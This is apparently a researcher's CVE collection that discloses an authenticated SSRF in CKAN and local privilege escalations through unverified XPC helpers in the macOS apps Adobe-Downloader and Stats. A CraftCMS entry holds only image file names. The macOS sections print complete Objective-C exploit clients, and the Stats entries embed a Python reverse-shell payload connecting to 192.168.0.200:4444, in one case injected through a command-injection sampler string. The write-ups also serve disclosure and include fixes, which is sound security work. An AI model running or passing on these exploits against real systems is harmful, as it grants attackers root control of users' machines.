CVE Collection

CKAN Authenticated SSRF <= 2.9.11/2.10.4

Vulnerability Information

Product: Ckan

Vendor: https://github.com/ckan 

Affected Version(s): <= 2.9.11/2.10.4

CVE ID: TBD

Description: SSRF vulnerability in resource proxy functionality in Ckan <=2.9.11/2.10.4, allowing authenticated attackers to scan internal ports/hosts, and map the infrastructure environment. 

Vulnerability Type: Server Side Request Forgery

Root Cause: User supplied property is not sanitized against common SSRF payloads when specifying the URL of external resources.

Impact: An authenticated attacker can scan ports/hosts of the internal network, and map the infrastructure environment. At the time of discovery, there were about 1000 instances on the Internet.

image.png

Reproduction Steps

1. Use grep to search potential vulnerable code:

image.png

2. Take a closer look into the code:

<...SNIP...>
    resource_id = data_dict[u'resource_id']
    log.info(u'Proxify resource {id}'.format(id=resource_id))
    try:
        resource = get_action(u'resource_show')(context, {u'id': resource_id})
    except logic.NotFound:
        return abort(404, _(u'Resource not found'))
    url = resource[u'url']

    parts = urlsplit(url)
    if not parts.scheme or not parts.netloc:
        return abort(409, _(u'Invalid URL.'))

    timeout = config.get('ckan.resource_proxy.timeout')
    max_file_size = config.get(u'ckan.resource_proxy.max_file_size')
    response = make_response()
    try:
        did_get = False
        r = requests.head(url, timeout=timeout)
        if r.status_code in (400, 403, 405):
            r = requests.get(url, timeout=timeout, stream=True)
<...SNIP...>

url is a user supplied property, and no input sanitization are employed.

3. To exploit the vulnerability, resource proxy plugin should be enabled: https://docs.ckan.org/en/2.9/maintaining/data-viewer.html#resource-proxy 

4. The vulnerability requires authentication, and the user should have specific permissions.

5. Add a view for a resource, specify the above internal URL.
image.png

image.png
6. Access the view, we can see hit logs. Attacker induces the server to make a request on his behalf.

image.png

7. Stop the HTTP listener, and switch to a TCP listener.
image.png
8. Preview the view again, and the listener captures the access log against. 
image.png
Interestingly, since it is a non-http port, the preview keeps loading.
image.png
The difference in response time can indicate whether a port is open, and whether the port is a http/https port. In this way, attackers can weaponize this vulnerability to scan internal network's hosts and ports. 

CraftCMS

1.png

2.png

3.png

4.png

7306f23f208e8e8dff48d65a0dc02dc.png

Adobe-Downloader <=1.3.1 Local Privilege Escalation

XPC Local Privilege Escalation


Description

The Adobe-Downloader application is vulnerable to a local privilege escalation due to insecure implementation of its XPC service. The application registers a Mach service under the name com.x1a0he.macOS.Adobe-Downloader.helper. The associated binary, com.x1a0he.macOS.Adobe-Downloader.helper, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client.

The root cause of this vulnerability lies in the shouldAcceptNewConnection method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. Consequently, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperToolProtocol interface.

extension HelperTool: NSXPCListenerDelegate {
    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
        newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
        newConnection.exportedObject = self
        
        newConnection.invalidationHandler = { [weak self] in
            self?.connections.remove(newConnection)
        }
        
        connections.insert(newConnection)
        newConnection.resume()
        
        return true
    }
}

Among the available methods, the executeCommand method is particularly dangerous. It allows the execution of arbitrary shell commands with root privileges, effectively granting attackers full control over the system.

@objc(HelperToolProtocol) protocol HelperToolProtocol {
    func executeCommand(_ command: String, withReply reply: @escaping (String) -> Void)
    func startInstallation(_ command: String, withReply reply: @escaping (String) -> Void)
    func getInstallationOutput(withReply reply: @escaping (String) -> Void)
}

 


Impact

An attacker can exploit the vulnerability to execute arbitrary code with root privilege.


Reproduction

1. Create a custom xpc client (exploit) with the following code:

#import <Foundation/Foundation.h>

static NSString* XPCHelperMachServiceName = @"com.x1a0he.macOS.Adobe-Downloader.helper";


@protocol HelperToolProtocol

- (void)executeCommand:(NSString *)command withReply:(void (^)(NSString *response))reply;
- (void)startInstallation:(NSString *)command withReply:(void (^)(NSString *response))reply;
- (void)getInstallationOutputWithReply:(void (^)(NSString *output))reply;
@end


int main()
{


    NSString*  service_name = XPCHelperMachServiceName;
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
               {
                 NSLog(@"[-] Something went wrong");
                 NSLog(@"[-] Error: %@", error);
               }
             ];
   NSLog(@"Object: %@", obj);
   NSLog(@"Connection: %@", connection);
   NSString * command = @"touch /tmp/pwn.txt";

   [obj executeCommand:command withReply:^(NSString *response)
    {
       NSLog(@"Response, %@", response);
    }
   ];

  NSLog(@"Exploitation Completed!");

}

2. Compile and run the exploit, we can notice the command was executed by root, as a new txt file was created by root.

adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
ls: /tmp/pwn.txt: No such file or directory
adler@adlers-Mac-mini xpc-exp % ./adobe-downloader
2024-12-10 01:05:06.823 adobe-downloader[76237:2841517] Object: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x600001058140>
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Connection: <NSXPCConnection: 0x600000254140> connection to service named com.x1a0he.macOS.Adobe-Downloader.helper
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Exploitation Completed!
adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
-rw-r--r--  1 root  wheel  0 Dec 10 01:05 /tmp/pwn.txt

3. Change the command to obtain a reverse shell:

stats.png

 


Recommendation

Implement strong client verification, including code signing checks, audit token verification, a good example can be found at https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147. It is also important to enable hardened runtime and restrict some entitlements, such as com.apple.security.cs.disable-library-validation, com.apple.security.cs.allow-dyld-environment-variables, com.apple.private.security.clear-library-validation, etc.

 

 

 

Stats < v2.11.22 Local Privilege Escalation

Description

The Stats application is vulnerable to a local privilege escalation due to the insecure implementation of its XPC service. The application registers a Mach service under the name eu.exelban.Stats.SMC.Helper. The associated binary, eu.exelban.Stats.SMC.Helper, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as setting fan modes, adjusting fan speeds, and executing the powermetrics command.

The root cause of this vulnerability lies in the shouldAcceptNewConnection method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperTool interface.

    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection connection: NSXPCConnection) -> Bool {
        connection.exportedInterface = NSXPCInterface(with: HelperProtocol.self)
        connection.exportedObject = self
        connection.invalidationHandler = {
            if let connectionIndex = self.connections.firstIndex(of: connection) {
                self.connections.remove(at: connectionIndex)
            }
            if self.connections.isEmpty {
                self.shouldQuit = true
            }
        }
        
        self.connections.append(connection)
        connection.resume()
        
        return true
    }

Among the exposed methods, setFanMode and setFanSpeed can destabilize the user's device and even pose physical risks, such as overheating or system instability.

    func setFanMode(id: Int, mode: Int, completion: @escaping (String?) -> Void)
    func setFanSpeed(id: Int, value: Int, completion: @escaping (String?) -> Void)

The powermetrics method is particularly dangerous as it is vulnerable to a command injection vulnerability, allowing the execution of arbitrary code with root privileges. This effectively grants attackers full control over the system.

    func powermetrics(_ samplers: [String], completion: @escaping (String?) -> Void) {
        let result = syncShell("powermetrics -n 1 -s \(samplers.joined(separator: ",")) --sample-rate 1000")
        if let error = result.error, !error.isEmpty {
            NSLog("error call powermetrics: \(error)")
            completion(nil)
            return
        }
        completion(result.output)
    }
    
    public func syncShell(_ args: String) -> (output: String?, error: String?) {
        let task = Process()
        task.launchPath = "/bin/sh"
        task.arguments = ["-c", args]
        
        let outputPipe = Pipe()
        let errorPipe = Pipe()
        
        defer {
            outputPipe.fileHandleForReading.closeFile()
            errorPipe.fileHandleForReading.closeFile()
        }
        
        task.standardOutput = outputPipe
        task.standardError = errorPipe
        
        do {
            try task.run()
        } catch let err {
            return (nil, "syncShell: \(err.localizedDescription)")
        }
        
        let outputData = outputPipe.fileHandleForReading.readDataToEndOfFile()
        let errorData = errorPipe.fileHandleForReading.readDataToEndOfFile()
        let output = String(data: outputData, encoding: .utf8)
        let error = String(data: errorData, encoding: .utf8)
        
        return (output, error)
    }

Except powermetrics method, command injection can also be achieved by chained call.

The setSMCPath method can be used to store an arbitrary command string, which is then directly interpolated into shell commands in both setFanSpeed and setFanMode methods via the expressions syncShell("\(smc) fan \(id) -v \(value)") and syncShell("\(smc) fan \(id) -m \(mode)"). This creates additional paths for privilege escalation.

For reference, I've included a proof-of-concept that demonstrates this vulnerability chain:

#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString*  service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
               {
                 NSLog(@"[-] Something went wrong");
                 NSLog(@"[-] Error: %@", error);
               }
             ];
    NSLog(@"Objection Info: %@", obj);
    NSLog(@"Connection Info: %@", connection);

    NSLog(@"Triggering a root reverse shell\n");

    NSString* path = @"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";


    [obj setSMCPath:path];
    sleep(3);
    [obj setFanSpeedWithId:1 value:2000 completion:^(NSString * _Nullable result) {
    if (result) {
        NSLog(@"Result: %@", result);
    } else {
        NSLog(@"An error occurred.");
    }
}];

    NSLog(@"Enjoy the root shell : )\n");

}

image.png

 

 

Impact

An attacker can exploit this vulnerability to modify the hardware settings of the user’s device and execute arbitrary code with root privileges.

Reproduction

To avoid potential hardware damage, this demonstration focuses solely on the attack path to obtain root privileges without altering the device's hardware settings.

Step 1: Below is a custom XPC client (exploit) to demonstrate the issue. Feel free to change the value of maliciousSamplers to include different command payloads:

#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString*  service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
               {
                 NSLog(@"[-] Something went wrong");
                 NSLog(@"[-] Error: %@", error);
               }
             ];
    NSLog(@"Objection: %@", obj);
    NSLog(@"Connection: %@", connection);

    
    NSArray<NSString *> *maliciousSamplers = @[@"cpu_power", @"gpu_power; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';"];

    [obj powermetrics:maliciousSamplers completion:^(NSString * _Nullable result) {
      if (result) {
          NSLog(@"Result: %@", result);
      } else {
         NSLog(@"An error occurred.");
      }
    }];

    NSLog(@"Exploitation completed\n");

}

Step 2: To simulate an attacker’s Command and Control (C2) server, set up a netcat listener on another host.

image

Step 3: Compile and execute the exploit, and we will quickly gain a root reverse shell.

image

image

Recommendation

Implement robust client verification mechanisms, including code signing checks and audit token (PID is not secure) verification. Some good examples of secure client validation can be found in https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70, https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift, https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift.